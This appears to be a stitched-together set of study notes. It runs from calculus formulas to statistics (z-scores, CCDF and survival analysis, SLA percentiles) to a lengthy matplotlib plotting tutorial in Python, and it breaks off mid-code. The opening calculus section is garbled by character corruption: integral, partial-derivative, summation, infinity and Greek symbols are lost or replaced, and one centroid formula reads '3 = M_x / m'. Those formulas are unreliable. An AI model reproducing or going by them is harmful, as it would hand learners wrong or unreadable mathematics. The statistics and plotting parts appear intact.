M_y = ++_R x��(x,y) dA

x = M_y / m
3 = M_x / m

�[n=1 to ] a� = a� + a� + a� + ...

�[n=0 to ] ar^n = a + ar + ar� + ar� + ...

�[n=1 to ] 1/n^p

L = lim(n�) |a��� / a�|

L = lim(n�) |a�|

�[n=0 to ] c�(x - a)^n

R = lim(n�) |c� / c���|

1/R = lim(n�) |c��� / c�|

f(x) = �[n=0 to ] [f}~(a) / n!]�(x - a)^n
     = f(a) + f'(a)(x-a) + [f''(a)/2!](x-a)� + [f'''(a)/3!](x-a)� + ...

f(x) = �[n=0 to ] [f}~(0) / n!]�x^n

R�(x) = f(x) - T�(x) = [f}z�~(c) / (n+1)!]�(x - a)^(n+1)

f/x = lim(h�0) [f(x+h, y) - f(x, y)] / h

f = <f/x, f/y, f/z> = f_x�i + f_y�j + f_z�k

D_u f = f � u

dz/dt = (z/x)�(dx/dt) + (z/y)�(dy/dt)

z/s = (z/x)�(x/s) + (z/y)�(y/s)
z/t = (z/x)�(x/t) + (z/y)�(y/t)

D = f_xx(a,b)�f_yy(a,b) - [f_xy(a,b)]�

++_R f(x,y) dA

++_R f(x,y) dA = +[a to b] +[c to d] f(x,y) dy dx
                = +[c to d] +[a to b] f(x,y) dx dy

+++_E f(x,y,z) dV

++_R f(x,y) dA = ++ f(r�cos(�), r�sin(�))�r dr d�

+++_E f(x,y,z) dV = +++ f(r�cos(�), r�sin(�), z)�r dz dr d�

+++_E f(x,y,z) dV = +++ f(�,�,�)����sin(�) d� d� d�

+_C f(x,y) ds = +[a to b] f(r(t))�|r'(t)| dt
+_C F � dr = +[a to b] F(r(t)) � r'(t) dt

._C P dx + Q dy = ++_D (Q/x - P/y) dA

dy/y = x dx
ln|y| = x�/2 + C
y = Ae^(x�/2)

�(x) = e^+1 dx = e^x
e^x�dy/dx + e^x�y = e^(2x)
d/dx[e^x�y] = e^(2x)
e^x�y = (1/2)e^(2x) + C
y = (1/2)e^x + Ce^(-x)

Mean = (Sum of all values) / (Number of values)
μ = (x₁ + x₂ + ... + xₙ) / n

z = (x - μ) / σ

Where:
- x = the value you're measuring
- μ = mean of the distribution
- σ = standard deviation

z = (x - x̄) / s

Where:
- x̄ = sample mean
- s = sample standard deviation

Math z-score:
z = (85 - 75) / 10 = 10 / 10 = 1.0

English z-score:
z = (90 - 88) / 4 = 2 / 4 = 0.5

z = (150 - 100) / 20 = 50 / 20 = 2.5

If z > 2: Warning (unusual, investigate)
If z > 3: Critical (very rare, likely outage)

z = (190 - 175) / 7 = 15 / 7 ≈ 2.14

Bolt length: 10.5 cm
Mean: 10.0 cm
Std dev: 0.1 cm

z = (10.5 - 10.0) / 0.1 = 5.0

Interpretation: z = 5 is VERY unusual (>99.9999%)
Action: Investigate manufacturing process

SAT z-score: (1400 - 1050) / 200 = 1.75
GPA z-score: (3.6 - 3.0) / 0.5 = 1.2

Average z-score: (1.75 + 1.2) / 2 = 1.475

z = (500 - 50) / 30 = 15.0

If z > 1.96: Significant at 95% level
If z > 2.58: Significant at 99% level

Modified z-score = 0.6745 × (x - median) / MAD

Where MAD = Median Absolute Deviation
MAD = median(|xᵢ - median(x)|)

Median = 3.5
MAD = median([2.5, 1.5, 0.5, 0.5, 1.5, 96.5]) = 1.5

Modified z-score of 100:
= 0.6745 × (100 - 3.5) / 1.5
= 0.6745 × 96.5 / 1.5
≈ 43.4

[45, 52, 48, 51, 49, 200, 47, 50, 46, 48]

Mean (μ) = (45 + 52 + ... + 48) / 10 = 63.6 ms
Std dev (σ) = 46.8 ms (calculated from variance)

z = (200 - 63.6) / 46.8 = 2.91

z = (50 - 63.6) / 46.8 = -0.29

z = (85 - 72) / 12 = 1.08

Variance (σ²) = Average of squared differences from mean
σ² = Σ(xᵢ - μ)² / n

Standard Deviation (σ) = √Variance
σ = √[Σ(xᵢ - μ)² / n]

P(X > t) = e^(-λt)

P(k events) = (λ^k × e^(-λ)) / k!

CCDF(x) = P(X > x) = 1 - CDF(x)

CCDF(x) = ∫[x to ∞] PDF(t) dt

S(t) = P(T > t) = CCDF(t)

h(t) = -d[log(S(t))]/dt = PDF(t) / CCDF(t)

log(CCDF) = -λx

P(X > x) = C × x^(-α)
log(CCDF) = log(C) - α × log(x)

CCDF(x) = P(X > x) = e^(-λx)  for x ≥ 0

log(CCDF) = -λx

P(X > s+t | X > s) = P(X > t)

CCDF(x) = P(X > x) = (x_min/x)^α  for x ≥ x_min

log(CCDF) = α × log(x_min) - α × log(x)

CCDF(x) = P(X > x) = 1 - Φ((x-μ)/σ)

CCDF(x) ≈ φ(x)/x = (1/√(2π)) × e^(-x²/2) / x

log(CCDF) ≈ -x²/(2σ²)

If log(X) ~ Normal(μ, σ²), then:
CCDF(x) = 1 - Φ((log(x) - μ)/σ)

CCDF(x) = e^(-(x/λ)^k)  for x ≥ 0

log(-log(CCDF)) = k × log(x) - k × log(λ)

h(t) = (k/λ) × (t/λ)^(k-1)

CCDF(x) = (number of points > x) / n

CCDF(xᵢ) = (n - i + 1) / n

Binomial confidence interval: k/n ± z × √[(k/n)(1-k/n)/n]

If log(CCDF) vs x is straight:
  slope = -λ
  mean = 1/λ
  median = log(2)/λ ≈ 0.693/λ

If log(CCDF) vs log(x) is straight:
  slope = -α
  CCDF(x) ∝ x^(-α)
  Heavy tail if α < 3
  Infinite variance if α ≤ 2
  Infinite mean if α ≤ 1

slope = -λ
Steeper slope → faster decay → lighter tail

slope = -α
Shallower slope → heavier tail → more extreme events
α < 2 → beware! Unstable statistics

If x is the pth percentile:
  CCDF(x) = 1 - p/100

c = CCDF(x) = 1 - (percentile/100)
percentile = (1 - c) × 100

CCDF plot shows:
- 0-50ms: Straight line (exponential, slope -0.02)
- 50-500ms: Still straight (exponential, slope -0.01)
- 500ms+: Curves up (heavy tail)

Interpretation:
- Normal operation: exponential ~20ms median
- Degraded operation: exponential ~70ms median
- Failure mode: heavy tail beyond 500ms

Action items:
- 99% served in <500ms (good)
- 1% hitting failure mode (investigate!)
- Likely bimodal: normal + pathological

MTTF = ∫[0 to ∞] S(t) dt = ∫[0 to ∞] CCDF(t) dt

t (months)    Surviving    CCDF(t)
0             1000         1.000
12            980          0.980
24            940          0.940
36            880          0.880
48            800          0.800
60            700          0.700

h(t) = -d[log(CCDF(t))]/dt

p50: 1000 req/s
p90: 2000 req/s
p99: 5000 req/s
p99.9: 10,000 req/s

Alert if: CCDF(SLA_threshold) > (1 - SLA_percentile)

Value (ms)    CCDF (fraction exceeding)
1             0.99
5             0.80
10            0.50    (median)
20            0.20    (p80)
50            0.10    (p90)
100           0.05    (p95)
200           0.02    (p98)
500           0.01    (p99)
1000          0.005   (p99.5)
2000          0.002   (p99.8)
5000          0.0005  (p99.95)

Time (months)    Failed    Surviving    CCDF(t)
0                0         10000        1.000
12               150       9850         0.985
24               420       9580         0.958
36               780       9220         0.922
48               1250      8750         0.875
60               1820      8180         0.818

CCDF(1KB) = 1.0      → 100% exceed 1KB (minimum)
CCDF(10KB) = 0.15    → 15% exceed 10KB
CCDF(100KB) = 0.023  → 2.3% exceed 100KB
CCDF(1MB) = 0.0035   → 0.35% exceed 1MB
CCDF(10MB) = 0.0005  → 0.05% exceed 10MB

3500 requests/day > 1MB
500 requests/day > 10MB

CCDF(60s) ≈ 0.30 → 30% of sessions exceed 1 minute
  Of these engaged users:
  CCDF(600s | >60s) ≈ 0.10 → 10% exceed 10 min
  CCDF(3600s | >60s) ≈ 0.02 → 2% exceed 1 hour

P(A or B) = P(A) + P(B) - P(A and B)

P(A and B) = P(A) × P(B)  [if independent]

P(A|B) = P(A and B) / P(B)

P(A|B) = P(B|A) × P(A) / P(B)

CI = sample mean ± (z-score × standard error)
CI = x̄ ± z × (σ/√n)

Y = mx + b

Availability = MTBF / (MTBF + MTTR)

Figure (entire window)
  └── Axes (plot area, NOT axis!)
        ├── Axis (x-axis, y-axis)
        ├── Spines (plot boundaries)
        ├── Artists (everything you see)
        └── Legend, Title, Labels

import matplotlib.pyplot as plt
import numpy as np

# Understanding the hierarchy
fig = plt.figure(figsize=(10, 6))  # Figure: the whole window
ax = fig.add_subplot(111)           # Axes: a plot area

# Everything drawn is an "Artist"
line, = ax.plot([1, 2, 3], [1, 4, 2])  # Line2D artist
text = ax.text(2, 3, 'Point')          # Text artist

# PYPLOT INTERFACE (MATLAB-style, stateful)
plt.plot([1, 2, 3], [1, 4, 2])
plt.xlabel('X Label')
plt.ylabel('Y Label')
plt.title('Title')
plt.show()

# OBJECT-ORIENTED INTERFACE (Recommended for complex plots)
fig, ax = plt.subplots()
ax.plot([1, 2, 3], [1, 4, 2])
ax.set_xlabel('X Label')
ax.set_ylabel('Y Label')
ax.set_title('Title')
plt.show()

# Everything in matplotlib is customizable
# General pattern:
fig, ax = plt.subplots()

# Plot data
artist = ax.plot(x, y)

# Customize
ax.set_xlabel('X')
ax.set_ylabel('Y')
ax.set_title('Title')

# Display or save
plt.savefig('plot.png', dpi=300, bbox_inches='tight')
plt.show()

import numpy as np
import matplotlib.pyplot as plt

# Single line
x = np.linspace(0, 10, 100)
y = np.sin(x)

fig, ax = plt.subplots()
ax.plot(x, y)
ax.set_xlabel('X')
ax.set_ylabel('sin(X)')
ax.set_title('Sine Wave')
plt.show()

# Multiple lines
y1 = np.sin(x)
y2 = np.cos(x)

fig, ax = plt.subplots()
ax.plot(x, y1, label='sin(x)')
ax.plot(x, y2, label='cos(x)')
ax.legend()
ax.grid(True, alpha=0.3)
plt.show()

# Customized line styles
fig, ax = plt.subplots()
ax.plot(x, y1, 'r-', linewidth=2, label='solid')
ax.plot(x, y2, 'b--', linewidth=2, label='dashed')
ax.plot(x, y1 + 0.5, 'g-.', linewidth=2, label='dash-dot')
ax.plot(x, y2 + 0.5, 'k:', linewidth=2, label='dotted')
ax.legend()
plt.show()

# Basic scatter
x = np.random.randn(100)
y = np.random.randn(100)

fig, ax = plt.subplots()
ax.scatter(x, y)
ax.set_xlabel('X')
ax.set_ylabel('Y')
plt.show()

# Customized scatter with size and color
sizes = np.random.rand(100) * 100
colors = np.random.rand(100)

fig, ax = plt.subplots()
scatter = ax.scatter(x, y, s=sizes, c=colors,
                     cmap='viridis', alpha=0.6,
                     edgecolors='black', linewidth=0.5)
plt.colorbar(scatter, ax=ax, label='Color Value')
ax.set_xlabel('X')
ax.set_ylabel('Y')
plt.show()

# Multiple scatter series
x1 = np.random.normal(0, 1, 100)
y1 = np.random.normal(0, 1, 100)
x2 = np.random.normal(3, 1, 100)
y2 = np.random.normal(3, 1, 100)

fig, ax = plt.subplots()
ax.scatter(x1, y1, label='Class 1', alpha=0.6)
ax.scatter(x2, y2, label='Class 2', alpha=0.6)
ax.legend()
ax.set_xlabel('Feature 1')
ax.set_ylabel('Feature 2')
plt.show()

# Vertical bar chart
categories = ['A', 'B', 'C', 'D', 'E']
values = [25, 40, 30, 55, 45]

fig, ax = plt.subplots()
bars = ax.bar(categories, values, color='steelblue',
              edgecolor='black', linewidth=1.2)
ax.set_ylabel('Values')
ax.set_title('Bar Chart')

# Add value labels on bars
for bar in bars:
    height = bar.get_height()
    ax.text(bar.get_x() + bar.get_width()/2., height,
            f'{height}', ha='center', va='bottom')
plt.show()

# Horizontal bar chart
fig, ax = plt.subplots()
ax.barh(categories, values, color='coral')
ax.set_xlabel('Values')
plt.show()

# Grouped bar chart
x = np.arange(len(categories))
values1 = [25, 40, 30, 55, 45]
values2 = [30, 35, 45, 40, 50]
width = 0.35

fig, ax = plt.subplots()
bars1 = ax.bar(x - width/2, values1, width, label='Group 1')
bars2 = ax.bar(x + width/2, values2, width, label='Group 2')
ax.set_xticks(x)
ax.set_xticklabels(categories)
ax.legend()
plt.show()

# Stacked bar chart
fig, ax = plt.subplots()
ax.bar(categories, values1, label='Part 1')
ax.bar(categories, values2, bottom=values1, label='Part 2')
ax.legend()
plt.show()

# Basic histogram
data = np.random.randn(1000)

fig, ax = plt.subplots()
ax.hist(data, bins=30, edgecolor='black', alpha=0.7)
ax.set_xlabel('Value')
ax.set_ylabel('Frequency')
ax.set_title('Histogram')
plt.show()

# Multiple histograms
data1 = np.random.normal(0, 1, 1000)
data2 = np.random.normal(2, 1.5, 1000)

fig, ax = plt.subplots()
ax.hist(data1, bins=30, alpha=0.5, label='Distribution 1')
ax.hist(data2, bins=30, alpha=0.5, label='Distribution 2')
ax.legend()
plt.show()

# Normalized histogram (density)
fig, ax = plt.subplots()
ax.hist(data, bins=30, density=True, alpha=0.7,
        edgecolor='black', label='Data')

# Overlay theoretical distribution
mu, sigma = 0, 1
x = np.linspace(data.min(), data.max(), 100)
ax.plot(x, 1/(sigma * np.sqrt(2 * np.pi)) *
        np.exp(-0.5 * ((x - mu)/sigma)**2),
        'r-', linewidth=2, label='Theoretical')
ax.legend()
plt.show()

# 2D histogram (hexbin)
x = np.random.randn(10000)
y = np.random.randn(10000)

fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 5))
ax1.hist2d(x, y, bins=50, cmap='Blues')
ax1.set_title('2D Histogram')

hexbin = ax2.hexbin(x, y, gridsize=30, cmap='Reds')
ax2.set_title('Hexbin')
plt.colorbar(hexbin, ax=ax2)
plt.show()

# Basic pie chart
sizes = [25, 35, 20, 20]
labels = ['A', 'B', 'C', 'D']

fig, ax = plt.subplots()
ax.pie(sizes, labels=labels, autopct='%1.1f%%',
       startangle=90)
ax.axis('equal')  # Equal aspect ratio
plt.show()

# Exploded pie chart with custom colors
explode = (0.1, 0, 0, 0)
colors = ['#ff9999', '#66b3ff', '#99ff99', '#ffcc99']

fig, ax = plt.subplots()
wedges, texts, autotexts = ax.pie(sizes, labels=labels,
                                    autopct='%1.1f%%',
                                    startangle=90,
                                    explode=explode,
                                    colors=colors,
                                    shadow=True)
# Customize text
for autotext in autotexts:
    autotext.set_color('white')
    autotext.set_weight('bold')
plt.show()

# Donut chart
fig, ax = plt.subplots()
ax.pie(sizes, labels=labels, autopct='%1.1f%%',
       wedgeprops=dict(width=0.5))  # Creates donut
ax.axis('equal')
plt.show()

# Method 1: plt.subplots() (Recommended)
fig, ax = plt.subplots(figsize=(10, 6))
ax.plot([1, 2, 3], [1, 4, 2])

# Method 2: Multiple subplots
fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 5))
ax1.plot([1, 2, 3])
ax2.plot([3, 2, 1])

# Method 3: Grid of subplots
fig, axes = plt.subplots(2, 3, figsize=(15, 10))
for i, ax in enumerate(axes.flat):
    ax.plot(np.random.randn(10))
    ax.set_title(f'Subplot {i+1}')

# Method 4: Figure first, then add axes
fig = plt.figure(figsize=(10, 6))
ax = fig.add_subplot(111)  # 1 row, 1 col, index 1

import matplotlib.gridspec as gridspec

# GridSpec for flexible layouts
fig = plt.figure(figsize=(12, 8))
gs = gridspec.GridSpec(3, 3, figure=fig)

# Span multiple cells
ax1 = fig.add_subplot(gs[0, :])   # First row, all columns
ax2 = fig.add_subplot(gs[1, :-1]) # Second row, first 2 columns
ax3 = fig.add_subplot(gs[1:, -1]) # Last 2 rows, last column
ax4 = fig.add_subplot(gs[-1, 0])  # Last row, first column
ax5 = fig.add_subplot(gs[-1, 1])  # Last row, second column

ax1.plot(np.random.randn(100))
ax1.set_title('Wide Top Panel')

ax2.plot(np.random.randn(100))
ax2.set_title('Middle Left')

ax3.plot(np.random.randn(100))
ax3.set_title('Right Panel')

ax4.plot(np.random.randn(100))
ax5.plot(np.random.randn(100))

plt.tight_layout()
plt.show()

# Unequal spacing
fig = plt.figure(figsize=(12, 8))
gs = gridspec.GridSpec(2, 2,
                       width_ratios=[2, 1],
                       height_ratios=[1, 2],
                       hspace=0.3, wspace=0.3)

for i in range(4):
    ax = fig.add_subplot(gs[i])
    ax.plot(np.random.randn(100))
    ax.set_title(f'Subplot {i+1}')
plt.show()

# Shared axes
fig, (ax1, ax2) = plt.subplots(2, 1, sharex=True, figsize=(10, 8))
x = np.linspace(0, 10, 100)
ax1.plot(x, np.sin(x))
ax1.set_ylabel('sin(x)')
ax2.plot(x, np.cos(x))
ax2.set_ylabel('cos(x)')
ax2.set_xlabel('x')
plt.show()

# Grid with shared axes
fig, axes = plt.subplots(2, 2, sharex='col', sharey='row',
                         figsize=(10, 8))
for i in range(2):
    for j in range(2):
        axes[i, j].plot(np.random.randn(100).cumsum())
plt.show()

from mpl_toolkits.axes_grid1.inset_locator import inset_axes, mark_inset

fig, ax = plt.subplots(figsize=(10, 6))

# Main plot
x = np.linspace(0, 10, 1000)
y = np.sin(x) * np.exp(-x/10)
ax.plot(x, y)

# Inset axes
axins = inset_axes(ax, width="40%", height="30%", loc='upper right')
axins.plot(x, y)
axins.set_xlim(2, 3)
axins.set_ylim(0.3, 0.5)
axins.set_xticks([])
axins.set_yticks([])

# Mark the inset region
mark_inset(ax, axins, loc1=2, loc2=4, fc="none", ec="0.5")
plt.show()

fig, ax1 = plt.subplots(figsize=(10, 6))

x = np.linspace(0, 10, 100)
y1 = np.sin(x)
y2 = np.exp(x/5)

# First y-axis
color = 'tab:blue'
ax1.set_xlabel('X')
ax1.set_ylabel('sin(x)', color=color)
ax1.plot(x, y1, color=color)
ax1.tick_params(axis='y', labelcolor=color)

# Second y-axis
ax2 = ax1.twinx()
color = 'tab:red'
ax2.set_ylabel('exp(x/5)', color=color)
ax2.plot(x, y2, color=color)
ax2.tick_params(axis='y', labelcolor=color)

fig.tight_layout()
plt.show()

# Named colors
colors = ['red', 'green', 'blue', 'cyan', 'magenta', 'yellow', 'black']

# Hex colors
colors = ['#FF5733', '#33FF57', '#3357FF']

# RGB tuples (0-1)
colors = [(0.8, 0.2, 0.1), (0.1, 0.8, 0.2)]

# RGBA with transparency
colors = [(0.8, 0.2, 0.1, 0.5)]

# Colormaps
x = np.linspace(0, 10, 100)
fig, ax = plt.subplots()
for i in range(10):
    color = plt.cm.viridis(i / 10)  # Get color from colormap
    ax.plot(x, np.sin(x + i/5), color=color)
plt.show()

# Popular colormaps
cmaps = ['viridis', 'plasma', 'inferno', 'magma', 'cividis',  # Perceptually uniform
         'coolwarm', 'RdYlBu', 'RdYlGn',  # Diverging
         'Greys', 'Blues', 'Reds',  # Sequential
         'tab10', 'tab20', 'Set1']  # Qualitative

# Custom colormap
from matplotlib.colors import LinearSegmentedColormap
colors_list = ['blue', 'white', 'red']
n_bins = 100
cmap = LinearSegmentedColormap.from_list('custom', colors_list, N=n_bins)

# Using colormap
data = np.random.rand(10, 10)
fig, ax = plt.subplots()
im = ax.imshow(data, cmap=cmap)
plt.colorbar(im, ax=ax)
plt.show()

# Markers
markers = ['.', 'o', 'v', '^', '<', '>', 's', 'p', '*', 'h', 'H',
           '+', 'x', 'D', 'd', '|', '_']

fig, ax = plt.subplots(figsize=(12, 6))
x = np.arange(len(markers))
for i, marker in enumerate(markers):
    ax.plot(i, i, marker=marker, markersize=10, label=marker)
ax.legend(ncol=6)
plt.show()

# Line styles
linestyles = ['-', '--', '-.', ':']
fig, ax = plt.subplots()
x = np.linspace(0, 10, 100)
for i, ls in enumerate(linestyles):
    ax.plot(x, np.sin(x) + i, linestyle=ls, linewidth=2,
            label=f"'{ls}'")
ax.legend()
plt.show()

# Combined format string
# Format: '[marker][line][color]'
fig, ax = plt.subplots()
ax.plot([1, 2, 3], [1, 4, 2], 'ro-')   # Red circles with solid line
ax.plot([1, 2, 3], [2, 3, 1], 'bs--')  # Blue squares with dashed line
ax.plot([1, 2, 3], [0.5, 2.5, 1.5], 'g^:')  # Green triangles with dotted line
plt.show()

# Detailed customization
fig, ax = plt.subplots()
ax.plot([1, 2, 3], [1, 4, 2],
        marker='o',
        markersize=10,
        markerfacecolor='red',
        markeredgecolor='black',
        markeredgewidth=2,
        linestyle='--',
        linewidth=2,
        color='blue',
        alpha=0.7)
plt.show()

fig, ax = plt.subplots(figsize=(10, 6))

x = np.linspace(0, 10, 100)
ax.plot(x, np.sin(x), label='sin(x)')
ax.plot(x, np.cos(x), label='cos(x)')

# Title with customization
ax.set_title('Trigonometric Functions',
             fontsize=16, fontweight='bold',
             pad=20)

# Axis labels
ax.set_xlabel('X Axis', fontsize=12, fontweight='bold')
ax.set_ylabel('Y Axis', fontsize=12, fontweight='bold')

# Legend customization
ax.legend(loc='upper right',           # Location
          frameon=True,                # Frame
          fancybox=True,              # Rounded corners
          shadow=True,                # Shadow
          ncol=2,                     # Number of columns
          fontsize=10,
          title='Functions',
          title_fontsize=12)

# Alternative legend locations
# 'best', 'upper right', 'upper left', 'lower left', 'lower right',
# 'right', 'center left', 'center right', 'lower center', 'upper center', 'center'

# Legend outside plot
ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left')

plt.tight_layout()
plt.show()

# Multiple legends
fig, ax = plt.subplots()
line1, = ax.plot([1, 2, 3], [1, 2, 3], 'r-', label='Red')
line2, = ax.plot([1, 2, 3], [3, 2, 1], 'b-', label='Blue')

# First legend
legend1 = ax.legend(handles=[line1], loc='upper left')
ax.add_artist(legend1)  # Add first legend back

# Second legend
ax.legend(handles=[line2], loc='upper right')
plt.show()

fig, ax = plt.subplots(figsize=(10, 6))
x = np.linspace(0, 10, 100)
ax.plot(x, np.sin(x))

# Tick positions
ax.set_xticks([0, 2, 4, 6, 8, 10])
ax.set_yticks([-1, -0.5, 0, 0.5, 1])

# Tick labels
ax.set_xticklabels(['Zero', 'Two', 'Four', 'Six', 'Eight', 'Ten'])

# Tick parameters
ax.tick_params(axis='x',
               labelsize=10,
               labelrotation=45,
               labelcolor='blue',
               length=6,
               width=2,
               direction='in')

# Minor ticks
ax.minorticks_on()
ax.tick_params(axis='both', which='minor', length=3)

# Custom tick formatter
from matplotlib.ticker import FuncFormatter

def currency(x, pos):
    return f'${x:.2f}'

ax.yaxis.set_major_formatter(FuncFormatter(currency))
plt.show()

# Log scale
fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 5))
x = np.logspace(0, 3, 100)
y = x ** 2

ax1.plot(x, y)
ax1.set_title('Linear Scale')

ax2.plot(x, y)
ax2.set_xscale('log')
ax2.set_yscale('log')
ax2.set_title('Log Scale')
ax2.grid(True, which='both', alpha=0.3)
plt.show()

fig, axes = plt.subplots(2, 2, figsize=(12, 10))

x = np.linspace(-5, 5, 100)
y = x ** 2

# Default
axes[0, 0].plot(x, y)
axes[0, 0].set_title('Default')

# Remove top and right spines
axes[0, 1].plot(x, y)
axes[0, 1].spines['top'].set_visible(False)
axes[0, 1].spines['right'].set_visible(False)
axes[0, 1].set_title('Clean')

# Move spines to zero
axes[1, 0].plot(x, y)
axes[1, 0].spines['left'].set_position('zero')
axes[1, 0].spines['bottom'].set_position('zero')
axes[1, 0].spines['top'].set_visible(False)
axes[1, 0].spines['right'].set_visible(False)
axes[1, 0].set_title('Centered')

# No spines (floating)
axes[1, 1].plot(x, y)
for spine in axes[1, 1].spines.values():
    spine.set_visible(False)
axes[1, 1].set_title('No Spines')

plt.tight_layout()
plt.show()

fig, ax = plt.subplots(figsize=(10, 6))

x = np.linspace(0, 10, 100)
y = np.sin(x)
ax.plot(x, y)

# Simple text
ax.text(5, 0.5, 'Peak Region', fontsize=12)

# Text with box
bbox_props = dict(boxstyle='round', facecolor='wheat', alpha=0.5)
ax.text(8, -0.5, 'Trough', fontsize=12, bbox=bbox_props)

# Annotation with arrow
ax.annotate('Maximum',
            xy=(np.pi/2, 1),      # Point to annotate
            xytext=(2, 0.5),      # Text position
            fontsize=12,
            arrowprops=dict(facecolor='red',
                          shrink=0.05,
                          width=2,
                          headwidth=8))

# Multiple annotation styles
ax.annotate('Fancy Arrow',
            xy=(3*np.pi/2, -1),
            xytext=(7, -0.3),
            arrowprops=dict(arrowstyle='->',
                          connectionstyle='arc3,rad=0.3',
                          color='blue',
                          lw=2))

# Mathematical text (LaTeX)
ax.text(1, -0.8, r'$y = \sin(x)$', fontsize=16)
ax.text(5, -0.8, r'$\int_0^{\pi} \sin(x)dx = 2$', fontsize=14)

plt.show()

# Arrow styles
arrow_styles = ['-', '->', '-[', '|-|', '-|>', '<-', '<->',
                'fancy', 'simple', 'wedge']

from matplotlib.patches import Circle, Rectangle, Polygon, Ellipse, FancyBboxPatch
from matplotlib.collections import PatchCollection

fig, ax = plt.subplots(figsize=(10, 8))

# Circle
circle = Circle((2, 2), 0.5, color='red', alpha=0.5)
ax.add_patch(circle)

# Rectangle
rect = Rectangle((4, 1), 1, 2, color='blue', alpha=0.5)
ax.add_patch(rect)

# Ellipse
ellipse = Ellipse((7, 2), 1, 2, angle=30, color='green', alpha=0.5)
ax.add_patch(ellipse)

# Polygon
triangle = Polygon([[1, 4], [2, 6], [3, 4]], color='purple', alpha=0.5)
ax.add_patch(triangle)

# Fancy box
fancy = FancyBboxPatch((5, 4), 2, 1.5,
                       boxstyle="round,pad=0.1",
                       edgecolor='orange',
                       facecolor='yellow',
                       linewidth=2,
                       alpha=0.5)
ax.add_patch(fancy)

ax.set_xlim(0, 10)
ax.set_ylim(0, 8)
ax.set_aspect('equal')
plt.show()

from mpl_toolkits.mplot3d import Axes3D

# 3D line plot
fig = plt.figure(figsize=(12, 5))
ax = fig.add_subplot(121, projection='3d')

t = np.linspace(0, 10, 1000)
x = np.sin(t)
y = np.cos(t)
z = t

ax.plot(x, y, z, linewidth=2)
ax.set_xlabel('X')
ax.set_ylabel('Y')
ax.set_zlabel('Z')
ax.set_title('3D Line Plot')

# 3D scatter
ax = fig.add_subplot(122, projection='3d')
x = np.random.randn(100)
y = np.random.randn(100)
z = np.random.randn(100)
colors = np.random.rand(100)

scatter = ax.scatter(x, y, z, c=colors, cmap='viridis', s=50)
ax.set_title('3D Scatter')
plt.colorbar(scatter, ax=ax)
plt.show()

# 3D surface
fig = plt.figure(figsize=(12, 5))

# Surface plot
ax = fig.add_subplot(121, projection='3d')
x = np.linspace(-5, 5, 50)
y = np.linspace(-5, 5, 50)
X, Y = np.meshgrid(x, y)
Z = np.sin(np.sqrt(X**2 + Y**2))

surf = ax.plot_surface(X, Y, Z, cmap='coolwarm', alpha=0.8)
ax.set_title('Surface Plot')
plt.colorbar(surf, ax=ax, shrink=0.5)

# Wireframe
ax = fig.add_subplot(122, projection='3d')
ax.plot_wireframe(X, Y, Z, color='blue', linewidth=0.5)
ax.set_title('Wireframe Plot')
plt.show()

# Contour3D
fig = plt.figure(figsize=(10, 8))
ax = fig.add_subplot(111, projection='3d')
ax.contour3D(X, Y, Z, 50, cmap='viridis')
ax.set_title('3D Contour')
plt.show()

# 2D contour
x = np.linspace(-3, 3, 100)
y = np.linspace(-3, 3, 100)
X, Y = np.meshgrid(x, y)
Z = np.sin(X) * np.cos(Y)

fig, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(15, 4))

# Filled contour
contourf = ax1.contourf(X, Y, Z, levels=20, cmap='RdYlBu')
ax1.set_title('Filled Contour')
plt.colorbar(contourf, ax=ax1)

# Line contour
contour = ax2.contour(X, Y, Z, levels=10, colors='black')
ax2.clabel(contour, inline=True, fontsize=8)  # Label contours
ax2.set_title('Line Contour')

# Combined
ax3.contourf(X, Y, Z, levels=20, cmap='RdYlBu', alpha=0.7)
contour = ax3.contour(X, Y, Z, levels=10, colors='black', linewidths=0.5)
ax3.clabel(contour, inline=True, fontsize=8)
ax3.set_title('Combined')

plt.tight_layout()
plt.show()

# Heatmap
data = np.random.rand(10, 12)

fig, ax = plt.subplots(figsize=(10, 8))
im = ax.imshow(data, cmap='YlOrRd', aspect='auto')

# Colorbar
cbar = plt.colorbar(im, ax=ax)
cbar.set_label('Value', rotation=270, labelpad=20)

# Ticks and labels
ax.set_xticks(np.arange(12))
ax.set_yticks(np.arange(10))
ax.set_xticklabels([f'Col {i}' for i in range(12)])
ax.set_yticklabels([f'Row {i}' for i in range(10)])

# Rotate x labels
plt.setp(ax.get_xticklabels(), rotation=45, ha='right')

# Add values in cells
for i in range(10):
    for j in range(12):
        text = ax.text(j, i, f'{data[i, j]:.2f}',
                      ha='center', va='center', color='black')

ax.set_title('Heatmap with Values')
plt.tight_layout()
plt.show()

x = np.linspace(0, 10, 20)
y = np.sin(x)
yerr = 0.1 + 0.05 * np.random.rand(len(x))
xerr = 0.1 + 0.05 * np.random.rand(len(x))

fig, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(15, 4))

# Y error bars only
ax1.errorbar(x, y, yerr=yerr, fmt='o-', capsize=5,
             capthick=2, label='Data')
ax1.set_title('Y Error Bars')
ax1.legend()

# X and Y error bars
ax2.errorbar(x, y, xerr=xerr, yerr=yerr, fmt='s-',
             capsize=5, alpha=0.7)
ax2.set_title('X and Y Error Bars')

# Shaded error region
ax3.plot(x, y, 'o-', label='Mean')
ax3.fill_between(x, y - yerr, y + yerr, alpha=0.3, label='±1 std')
ax3.set_title('Shaded Error Region')
ax3.legend()

plt.tight_layout()
plt.show()

# Generate sample data
data = [np.random.normal(0, std, 100) for std in range(1, 5)]

fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 5))

# Box plot
bp = ax1.boxplot(data,
                 labels=['Group 1', 'Group 2', 'Group 3', 'Group 4'],
                 notch=True,  # Notched box
                 patch_artist=True)  # Fill with color

# Customize colors
colors = ['lightblue', 'lightgreen', 'pink', 'lightyellow']
for patch, color in zip(bp['boxes'], colors):
    patch.set_facecolor(color)

ax1.set_title('Box Plot')
ax1.set_ylabel('Values')

# Violin plot
parts = ax2.violinplot(data, showmeans=True, showmedians=True)
ax2.set_title('Violin Plot')
ax2.set_xticks([1, 2, 3, 4])
ax2.set_xticklabels(['Group 1', 'Group 2', 'Group 3', 'Group 4'])

plt.tight_layout()
plt.show()

# Horizontal box plot
fig, ax = plt.subplots(figsize=(8, 6))
ax.boxplot(data, vert=False, labels=['A', 'B', 'C', 'D'])
ax.set_xlabel('Values')
plt.show()

# Vector field (quiver plot)
x = np.linspace(-3, 3, 20)
